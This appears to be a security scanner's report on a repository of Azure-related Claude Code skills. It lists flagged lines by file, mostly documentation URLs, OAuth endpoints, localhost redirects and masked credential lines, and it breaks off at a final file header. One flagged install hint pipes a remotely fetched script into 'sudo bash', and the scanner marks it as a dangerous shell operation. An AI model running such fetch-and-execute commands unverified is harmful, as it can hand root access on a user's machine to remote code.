'https://localhost:5001/signin-oidc' - Network accessline 21
'https://myapp.azurewebsites.net/signin-oidc' - Network accessline 24
@description('Redirect URIs for single-page application') param spaRedirectUris array = [ 'http://localhost:3000' - Network accessline 25
param spaRedirectUris array = [ 'http://localhost:3000' 'https://myapp.azurewebsites.net' - Network accessline 26
'http://localhost:3000' - Network accessline 27
'https://myapp.azurewebsites.net' - Network accessline 53
enableAccessTokenIssuance: false } homePageUrl: 'https://myapp.azurewebsites.net' - Network accessline 54
} homePageUrl: 'https://myapp.azurewebsites.net' logoutUrl: 'https://myapp.azurewebsites.net/signout-oidc' - Network accessline 55
homePageUrl: 'https://myapp.azurewebsites.net' - Network accessline 56
logoutUrl: 'https://myapp.azurewebsites.net/signout-oidc' - Network accessline 65
publicClient: { redirectUris: [ 'http://localhost' - Network accessline 66
redirectUris: [ 'http://localhost' 'myapp://auth' - Network accessline 67
'http://localhost' - Network accessline 68
'myapp://auth' 'https://login.microsoftonline.com/common/oauth2/nativeclient' ] - Network accessline 69
'https://login.microsoftonline.com/common/oauth2/nativeclient' - Network accessline 175
// Information URLs info: { marketingUrl: 'https://myapp.example.com' - Network accessline 176
info: { marketingUrl: 'https://myapp.example.com' privacyStatementUrl: 'https://myapp.example.com/privacy' - Network accessline 177
marketingUrl: 'https://myapp.example.com' - Network accessline 178
privacyStatementUrl: 'https://myapp.example.com/privacy' - Network accessline 179
supportUrl: 'https://myapp.example.com/support' - Network accessline 180
termsOfServiceUrl: 'https://myapp.example.com/terms'
harness/claude-code/skills/azure-entra-app-registration/references/api-permissions.md
- Network accessline 49
Examples: https://graph.microsoft.com/User.Read - Network accessline 50
https://graph.microsoft.com/User.Read - Network accessline 51
https://graph.microsoft.com/Mail.Send - Network accessline 60
https://graph.microsoft.com/.default - Network accessline 134
1. Visit https://developer.microsoft.com/graph/graph-explorer - Network accessline 140
Visit: https://learn.microsoft.com/en-us/graph/permissions-reference - Network accessline 258
[Credential-related source omitted] - Network accessline 259
[Credential-related source omitted] - Network accessline 334
**Note:** Permission IDs may change. Always verify against the official [Microsoft Graph Permissions Reference](https://learn.microsoft.com/en-us/graph/permissions-reference) for the most current values. - Network accessline 338
- [Microsoft Graph Permissions Reference](https://learn.microsoft.com/en-us/graph/permissions-reference) - Network accessline 339
- [Permission Types](https://learn.microsoft.com/en-us/entra/identity-platform/permissions-consent-overview) - Network accessline 340
- [Admin Consent Workflow](https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-admin-consent-workflow) - Network accessline 341
- [Consent Framework](https://learn.microsoft.com/en-us/entra/identity-platform/consent-framework)
harness/claude-code/skills/azure-entra-app-registration/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/claude-code/skills/azure-entra-app-registration/references/cli-commands.md
- Network accessline 29
az ad app create \ --display-name "MyWebApp" \ --web-redirect-uris "https://myapp.com/callback" \ - Network accessline 30
--display-name "MyWebApp" \ --web-redirect-uris "https://myapp.com/callback" \ --sign-in-audience "AzureADMyOrg" - Network accessline 31
--web-redirect-uris "https://myapp.com/callback" \ - Network accessline 37
az ad app create \ --display-name "MySpaApp" \ --spa-redirect-uris "http://localhost:3000" \ - Network accessline 38
--display-name "MySpaApp" \ --spa-redirect-uris "http://localhost:3000" \ --sign-in-audience "AzureADMyOrg" - Network accessline 39
--spa-redirect-uris "http://localhost:3000" \ - Network accessline 45
az ad app create \ --display-name "MyDesktopApp" \ --public-client-redirect-uris "http://localhost" \ - Network accessline 46
--display-name "MyDesktopApp" \ --public-client-redirect-uris "http://localhost" \ --sign-in-audience "AzureADMyOrg" - Network accessline 47
--public-client-redirect-uris "http://localhost" \ - Network accessline 53
az ad app create \ --display-name "MyMultiTenantApp" \ --web-redirect-uris "https://myapp.com/callback" \ - Network accessline 54
--display-name "MyMultiTenantApp" \ --web-redirect-uris "https://myapp.com/callback" \ --sign-in-audience "AzureADMultipleOrgs" - Network accessline 55
--web-redirect-uris "https://myapp.com/callback" \ - Network accessline 116
az ad app update --id $APP_ID \ --web-redirect-uris "https://myapp.com/callback" "https://myapp.com/auth" - Network accessline 117
--web-redirect-uris "https://myapp.com/callback" "https://myapp.com/auth" - Network accessline 122
az ad app update --id $APP_ID \ --spa-redirect-uris "http://localhost:3000" "http://localhost:5000" - Network accessline 123
--spa-redirect-uris "http://localhost:3000" "http://localhost:5000" - Network accessline 128
az ad app update --id $APP_ID \ --public-client-redirect-uris "http://localhost" "myapp://auth" - Network accessline 129
--public-client-redirect-uris "http://localhost" "myapp://auth" - Network accessline 364
# Variables APP_NAME="MyApplication" REDIRECT_URI="http://localhost:3000" - Network accessline 366
REDIRECT_URI="http://localhost:3000"
harness/claude-code/skills/azure-entra-app-registration/references/console-app-example.md
- Network accessline 44
.Create(ClientId) .WithAuthority(AzureCloudInstance.AzurePublic, TenantId) .WithRedirectUri("http://localhost") - Network accessline 45
.WithAuthority(AzureCloudInstance.AzurePublic, TenantId) .WithRedirectUri("http://localhost") .Build(); - Network accessline 46
.WithRedirectUri("http://localhost") - Network accessline 87
var response = await httpClient.GetAsync("https://graph.microsoft.com/v1.0/me"); - Network accessline 139
CLIENT_ID = "YOUR_APPLICATION_CLIENT_ID" TENANT_ID = "YOUR_TENANT_ID" AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}" - Network accessline 140
TENANT_ID = "YOUR_TENANT_ID" AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}" SCOPES = ["User.Read"] - Network accessline 141
AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}" - Access to secretsline 190
[Credential-related source omitted] - Access to secretsline 193
[Credential-related source omitted] - Network accessline 197
response = requests.get( - Network accessline 198
'https://graph.microsoft.com/v1.0/me', - Access to secretsline 226
[Credential-related source omitted] - Access to secretsline 231
[Credential-related source omitted] - Network accessline 268
auth: { clientId: "YOUR_APPLICATION_CLIENT_ID", authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", - Network accessline 269
clientId: "YOUR_APPLICATION_CLIENT_ID", authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", } - Network accessline 270
authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", - Network accessline 280
const authCodeUrlParameters = { scopes: scopes, redirectUri: "http://localhost:3000", - Network accessline 281
scopes: scopes, redirectUri: "http://localhost:3000", }; - Network accessline 282
redirectUri: "http://localhost:3000", - Network accessline 308
auth: { clientId: "YOUR_APPLICATION_CLIENT_ID", authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", - Network accessline 309
clientId: "YOUR_APPLICATION_CLIENT_ID", authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", clientSecret: "YOUR_CLIENT_SECRET", // From app registration - Network accessline 310
authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", - Access to secretsline 311
[Credential-related source omitted] - Network accessline 317
const clientCredentialRequest = { scopes: ["https://graph.microsoft.com/.default"], - Network accessline 318
scopes: ["https://graph.microsoft.com/.default"], - Network accessline 333
try { const response = await axios.get('https://graph.microsoft.com/v1.0/me', options); - Network accessline 334
const response = await axios.get('https://graph.microsoft.com/v1.0/me', options); - Network accessline 392
- [MSAL Libraries](https://learn.microsoft.com/entra/msal/)
harness/claude-code/skills/azure-entra-app-registration/references/first-app-registration.md
- Network accessline 16
- Azure subscription (free tier works) - Azure Portal access: https://portal.azure.com - Network accessline 17
- Azure Portal access: https://portal.azure.com - Network accessline 22
1. Open [Azure Portal](https://portal.azure.com) - Network accessline 58
**URI examples:** - Web app: `https://localhost:5001/signin-oidc` - Network accessline 59
- Web app: `https://localhost:5001/signin-oidc` - Network accessline 60
- SPA: `http://localhost:3000` - Network accessline 61
- Console/Desktop: `http://localhost` - Network accessline 63
**For your first app:** Select **"Public client/native"** and enter `http://localhost` - Access to secretsline 168
[Credential-related source omitted] - Network accessline 187
# Interactive login az login --scope "https://graph.microsoft.com/.default" - Network accessline 188
az login --scope "https://graph.microsoft.com/.default" - Network accessline 190
# Get an access token az account get-access-token --resource "https://graph.microsoft.com" - Network accessline 191
az account get-access-token --resource "https://graph.microsoft.com" - Network accessline 213
**Tip:** Once you get the access token, you can use [jwt.ms](https://jwt.ms) to decode it and inspect its claims. - Network accessline 251
- [Microsoft Entra ID Documentation](https://learn.microsoft.com/en-us/entra/identity-platform/)
harness/claude-code/skills/azure-entra-app-registration/references/oauth-flows.md
- Network accessline 26
https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize? - Network accessline 50
https://your-app.com/callback? - Network accessline 62
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 76
[Credential-related source omitted] - Network accessline 87
GET https://graph.microsoft.com/v1.0/me - Access to secretsline 88
[Credential-related source omitted] - Network accessline 126
https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize? - Network accessline 139
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Network accessline 177
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Network accessline 180
client_id={application_id} &scope=https://graph.microsoft.com/.default - Network accessline 181
&scope=https://graph.microsoft.com/.default - Access to secretsline 182
[Credential-related source omitted] - Network accessline 186
**Parameters:** - `scope`: Use `{resource}/.default` format - For Microsoft Graph: `https://graph.microsoft.com/.default` - Network accessline 187
- `scope`: Use `{resource}/.default` format - For Microsoft Graph: `https://graph.microsoft.com/.default` - For your API: `api://{api_app_id}/.default` - Network accessline 188
- For Microsoft Graph: `https://graph.microsoft.com/.default` - Access to secretsline 194
[Credential-related source omitted] - Network accessline 203
GET https://graph.microsoft.com/v1.0/users - Access to secretsline 204
[Credential-related source omitted] - Network accessline 228
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode - Network accessline 238
"user_code": "GTHK-QPMN", "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8", "verification_uri": "https://microsoft.com/devicelogin", - Network accessline 239
"device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8", "verification_uri": "https://microsoft.com/devicelogin", "expires_in": 900, - Network accessline 240
"verification_uri": "https://microsoft.com/devicelogin", - Network accessline 241
"expires_in": 900, "interval": 5, "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate." - Network accessline 242
"interval": 5, "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate." } - Network accessline 243
"message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate." - Network accessline 250
To sign in, open https://microsoft.com/devicelogin - Network accessline 257
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Access to secretsline 278
[Credential-related source omitted] - Network accessline 299
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Access to secretsline 306
[Credential-related source omitted] - Access to secretsline 309
[Credential-related source omitted] - Access to secretsline 314
[Credential-related source omitted] - Network accessline 335
{ "aud": "https://graph.microsoft.com", - Network accessline 336
"aud": "https://graph.microsoft.com", - Network accessline 337
"iss": "https://sts.windows.net/{tenant}/", - Network accessline 374
https://graph.microsoft.com/User.Read - Network accessline 375
https://graph.microsoft.com/Mail.Send - Network accessline 398
[OAuth 2.0 spec](https://www.rfc-editor.org/rfc/rfc6749)
harness/claude-code/skills/azure-entra-app-registration/references/troubleshooting.md
- Network accessline 20
AADSTS50011: The redirect URI 'http://localhost:3000' specified in the request - Network accessline 30
Registered: https://myapp.com/callback - Network accessline 31
Request: https://myapp.com/callback/ ❌ (trailing slash) - Network accessline 32
Request: https://MyApp.com/callback ❌ (case difference) - Network accessline 33
Request: https://myapp.com/callback ✅ - Network accessline 39
# CLI: az ad app update --id $APP_ID \ --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback" - Network accessline 40
az ad app update --id $APP_ID --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback" - Network accessline 41
--web-redirect-uris "http://localhost:3000" "https://myapp.com/callback" - Network accessline 177
Unless the the access token is encrypted, you can decode and view its claims securely at https://jwt.ms. **Don't** use any other website to decode an access token. Compare the claims in the token with the app registration's configuration to - Network accessline 183
**Tool:** https://jwt.ms - Network accessline 268
- [Microsoft Q&A](https://learn.microsoft.com/answers/) - Network accessline 269
- [Microsoft Identity Platform Documentation](https://learn.microsoft.com/entra/identity-platform/)
harness/claude-code/skills/azure-infrastructure/scripts/bootstrap.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 154
echo "Install missing tools:" echo " terraform: brew install terraform" echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 155
echo " terraform: brew install terraform" echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" echo " kubectl: az aks install-cli" - Dangerous shell operationline 156
echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 156
echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 309
CLUSTER_NAME=$(terraform output -raw kubernetes_cluster_name) ACR_NAME=$(terraform output -raw acr_login_server | cut -d'.' -f1) KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1) - Network accessline 311
KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1) - Network accessline 364
log_step "Installing ArgoCD..." kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml - Network accessline 365
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml
harness/claude-code/skills/azure-infrastructure/scripts/platform-bootstrap.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 536
echo "Access URLs:" echo " ArgoCD: https://${argocd_url}" - Network accessline 537
echo " ArgoCD: https://${argocd_url}" - Network accessline 538
echo " Backstage: https://${backstage_url}" - Network accessline 539
echo " Grafana: https://${grafana_url}" - Dangerous shell operationline 591
rm -f "$CHECKPOINT_FILE"
harness/claude-code/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/aspnet-core.md
- Network accessline 180
- **Default port:** 8080 (since .NET 8; previously 80 in .NET 7 and earlier) - **Env var override:** `ASPNETCORE_URLS=http://+:8080` or `ASPNETCORE_HTTP_PORTS=8080` - Network accessline 181
- **Env var override:** `ASPNETCORE_URLS=http://+:8080` or `ASPNETCORE_HTTP_PORTS=8080` - Network accessline 182
- **Code override:** `builder.WebHost.UseUrls("http://+:8080")` in `Program.cs`
harness/claude-code/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/django.md
harness/claude-code/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/fastapi.md
harness/claude-code/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/flask.md
harness/claude-code/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/go.md
- Network accessline 108
config.BeforeConnect = func(ctx context.Context, cfg *pgx.ConnConfig) error { token, err := cred.GetToken(ctx, policy.TokenRequestOptions{ Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"}, - Network accessline 109
token, err := cred.GetToken(ctx, policy.TokenRequestOptions{ Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"}, }) - Network accessline 110
Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"}, - Network accessline 199
The `./cmd/server` path is conventional for Go projects using the [Standard Go Project Layout](https://github.com/golang-standards/project-layout). Adjust to match the actual `main` package location.
harness/claude-code/skills/azure-kubernetes-app-deploy/phases/quick-deploy.md
harness/claude-code/skills/azure-kubernetes-app-deploy/references/detection.md
- Network accessline 32
| Source code | `app.listen(<number>)`, `.listen(<number>)`, `server.port=<number>` | `app.listen(3000)` | | `application.properties` / `application.yml` (Java) | `server.port=<number>` | `server.port=8080` | | `appsettings.json` (.NET) | ` - Network accessline 33
| `application.properties` / `application.yml` (Java) | `server.port=<number>` | `server.port=8080` | | `appsettings.json` (.NET) | `"Urls": "http://*:<number>"` | `"Urls": "http://*:8080"` | | Framework defaults | Use known defaults if not - Network accessline 34
| `appsettings.json` (.NET) | `"Urls": "http://*:<number>"` | `"Urls": "http://*:8080"` |
harness/claude-code/skills/azure-kubernetes-app-deploy/references/workload-identity.md
- Network accessline 39
Federated Credential ├── Issuer: https://oidc.prod-aks.azure.com/<tenant-id>/<cluster-id> - Network accessline 40
├── Issuer: https://oidc.prod-aks.azure.com/<tenant-id>/<cluster-id> - Network accessline 102
[Credential-related source omitted] - Network accessline 103
[Credential-related source omitted] - Network accessline 116
[Credential-related source omitted] - Network accessline 118
new TokenRequestContext(new[] { "https://ossrdbms-aad.database.windows.net/.default" })); - Network accessline 182
[Credential-related source omitted] - Network accessline 183
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Network accessline 196
[Credential-related source omitted] - Network accessline 198
new TokenRequestContext(new[] { "https://redis.azure.com/.default" }));
harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/dotnet.Dockerfile
- Network accessline 56
ENV ASPNETCORE_URLS="http://+:8080" \ - Network accessline 60
# No HEALTHCHECK: the aspnet runtime image does not include curl or wget. - Network accessline 61
# Kubernetes liveness/readiness probes (configured in deployment.yaml) handle # health checking in AKS. For local Docker usage, install wget or add # app.MapHealthChecks("/healthz") and use a custom health check binary. - Network accessline 62
# health checking in AKS. For local Docker usage, install wget or add
harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/dotnet.dockerignore
- Access to secretsline 7
[Credential-related source omitted]
harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/go.dockerignore
- Access to secretsline 9
[Credential-related source omitted]
harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/java.Dockerfile
- Network accessline 74
# No HEALTHCHECK: the JRE Alpine image does not include wget or curl.
harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/java.dockerignore
- Access to secretsline 8
[Credential-related source omitted]
harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/node.dockerignore
- Access to secretsline 4
[Credential-related source omitted]
harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/python.Dockerfile
- Network accessline 60
# HEALTHCHECK is omitted — Kubernetes liveness/readiness probes handle health # checks in AKS. Adding a Dockerfile HEALTHCHECK would require installing curl # in the runtime image, increasing size and attack surface.
harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/python.dockerignore
- Access to secretsline 8
[Credential-related source omitted]
harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/rust.Dockerfile
harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/rust.dockerignore
- Access to secretsline 3
[Credential-related source omitted]
harness/claude-code/skills/azure-kubernetes-app-deploy/templates/mermaid/summary-dashboard.md
- Network accessline 17
| Resource | Type | Name | Portal Link | |----------|------|------|-------------| | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` | - Network accessline 18
|----------|------|------|-------------| | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` | | AKS Cluster | managedClusters | {{AKS_NAME}} | `https://portal.azure.com/...` | - Network accessline 19
| Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` | - Network accessline 20
| AKS Cluster | managedClusters | {{AKS_NAME}} | `https://portal.azure.com/...` | - Network accessline 21
| Container Registry | registries | {{ACR_NAME}} | `https://portal.azure.com/...` | - Network accessline 22
| {{BACKING_SERVICE}} | {{TYPE}} | {{NAME}} | `https://portal.azure.com/...` |
harness/claude-code/skills/azure-kubernetes-automatic-readiness/SKILL.md
- Network accessline 25
You are an AKS Automatic compatibility assessment agent. Your job is to evaluate whether Kubernetes workloads and cluster configurations are compatible with [AKS Automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic), i - Network accessline 125
If `mcp_azure_mcp_aks` is not available, inform the user: > "The Azure MCP server is not configured in your editor. To enable live cluster assessment, follow the setup guide at [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For n - Network accessline 126
> "The Azure MCP server is not configured in your editor. To enable live cluster assessment, follow the setup guide at [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local manifests offline."
harness/claude-code/skills/azure-kubernetes-automatic-readiness/references/mcp-integration.md
- Network accessline 93
"description": "OIDC issuer not enabled", "remediation": "az aks update --enable-oidc-issuer --resource-group <rg> --name <cluster>", "documentationUrl": "https://learn.microsoft.com/azure/aks/..." - Network accessline 94
"remediation": "az aks update --enable-oidc-issuer --resource-group <rg> --name <cluster>", "documentationUrl": "https://learn.microsoft.com/azure/aks/..." } - Network accessline 95
"documentationUrl": "https://learn.microsoft.com/azure/aks/..." - Network accessline 162
If `mcp_azure_mcp_aks` is not available, say: > "The Azure MCP server is not configured. To enable live cluster assessment, install it following [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local ma - Network accessline 163
> "The Azure MCP server is not configured. To enable live cluster assessment, install it following [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local manifests offline — export them with `kubectl ge - Network accessline 199
| Error | Cause | Fix | |---|---|---| | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline | - Network accessline 200
|---|---|---| | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline | | `HTTP 401 Unauthorized` | Not logged in | - Network accessline 201
| `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline |
harness/claude-code/skills/azure-kubernetes/SKILL.md
- Network accessline 76
- **Azure CNI Overlay** (recommended): pod IPs from private overlay range, not VNet-routable, scales to large environments and good for most workloads - **Azure CNI (VNet-routable)**: pod IPs directly from VNet (pod subnet or node subnet), - Network accessline 78
- Docs: https://learn.microsoft.com/azure/aks/azure-cni-overlay
harness/claude-code/skills/azure-kusto-graph/references/EXAMPLES.md
harness/claude-code/skills/azure-kusto-graph/references/KUSTO_EXPLORER_LAUNCH.md
harness/claude-code/skills/azure-kusto-irql-graph/SKILL.md
- Network accessline 57
- **Cluster**: `https://kc7001.eastus.kusto.windows.net` - Network accessline 144
Use icons from `https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/`: - Network accessline 215
let auth_mapping = '{"node_types":[{"type":"SrcIp","id":"SrcIp","key":"ClientIp","props":["ClientIp"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Public-IP-Addresses-(Classic).svg"}, - Network accessline 232
let mail_mapping = '{"node_types":[{"type":"EmailMessage","id":"Message","key":"Subject","props":["EnvTime","Subject","Verdict"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Media-Fil - Network accessline 247
let suspicious_domain_mapping = '{"node_types":[{"type":"IP","id":"IP","key":"ClientIp","props":["ClientIp"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Public-IP-Addresses-(Classic) - Network accessline 264
let proc_mapping = '{"node_types":[{"type":"Process","id":"Proc","key":"ProcessName","props":["ProcessName","ProcessCommandLine","ProcessHash"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-
harness/claude-code/skills/azure-kusto-irql-graph/references/EXAMPLES.md
harness/claude-code/skills/azure-kusto-irql-graph/references/KUSTO_EXPLORER_LAUNCH.md
harness/claude-code/skills/azure-kusto-irql/SKILL.md
harness/claude-code/skills/azure-kusto-irql/references/EXAMPLES.md
harness/claude-code/skills/azure-kusto-irql/references/KUSTO_EXPLORER_LAUNCH.md
harness/claude-code/skills/azure-managed-redis-cache/references/access-and-network.md
- Network accessline 32
- [Authenticate to Azure Managed Redis with Microsoft Entra ID](https://learn.microsoft.com/azure/redis/entra-for-authentication) - Network accessline 33
- [Azure Managed Redis network isolation](https://learn.microsoft.com/azure/redis/) - Network accessline 34
- [DefaultAzureCredential](https://learn.microsoft.com/azure/developer/intro/azure-developer-create-resources)
harness/claude-code/skills/azure-managed-redis-cache/references/semantic-cache.md
- Network accessline 39
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search) - Network accessline 40
- [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/user_guide/llmcache/) - Network accessline 41
- [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
harness/claude-code/skills/azure-managed-redis-cache/references/session-store.md
harness/claude-code/skills/azure-managed-redis-cache/references/vector-memory.md
- Network accessline 32
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search) - Network accessline 33
- [RedisVL vector queries](https://redis.io/docs/latest/integrate/redisvl/) - Network accessline 34
- [Azure AI Search vector search](https://learn.microsoft.com/azure/search/vector-search-overview)
harness/claude-code/skills/azure-observability-stack/SKILL.md
- Network accessline 36
# Add Helm repos helm repo add prometheus-community https://prometheus-community.github.io/helm-charts - Network accessline 37
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts - Network accessline 84
# Check Prometheus targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 85
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 88
[Credential-related source omitted] - Network accessline 90
curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name' - Network accessline 103
# Query Prometheus API curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result' - Network accessline 104
curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result' - Network accessline 106
# Check targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 107
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 119
[Credential-related source omitted] - Network accessline 121
curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name' - Network accessline 129
# List active alerts curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname' - Network accessline 130
curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'
harness/claude-code/skills/azure-observability-stack/references/troubleshooting.md
- Network accessline 14
# Check for scrape errors curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}' - Network accessline 15
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'
harness/claude-code/skills/azure-prepare/references/apim.md
- Access to secretsline 199
[Credential-related source omitted] - Network accessline 209
- [APIM v2 Overview](https://learn.microsoft.com/azure/api-management/v2-service-tiers-overview) - Network accessline 210
- [APIM Bicep Reference](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service) - Network accessline 211
- [APIM Terraform](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/api_management) - Network accessline 212
- [GenAI Gateway Capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)
harness/claude-code/skills/azure-prepare/references/aspire.md
- Network accessline 267
| Sample | Repository | Notes | |--------|------------|-------| | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app | - Network accessline 268
|--------|------------|-------| | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app | | AspireYarp | [dotnet/aspire-samples](https://github. - Network accessline 269
| orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app | - Network accessline 270
| AspireYarp | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/AspireYarp) | YARP reverse proxy | - Network accessline 271
| AspireWithDapr | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/AspireWithDapr) | Dapr integration | - Network accessline 272
| eShop | [dotnet/eShop](https://github.com/dotnet/eShop) | Reference microservices app | - Network accessline 418
- [.NET Aspire Documentation](https://learn.microsoft.com/en-us/dotnet/aspire/) - Network accessline 419
- [Azure Developer CLI (azd)](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/) - Network accessline 420
- [Aspire Samples Repository](https://github.com/dotnet/aspire-samples) - Network accessline 421
- [azd + Aspire Integration](https://learn.microsoft.com/en-us/dotnet/aspire/deployment/azure/aca-deployment-azd-in-depth)
harness/claude-code/skills/azure-prepare/references/auth-best-practices.md
- Network accessline 3
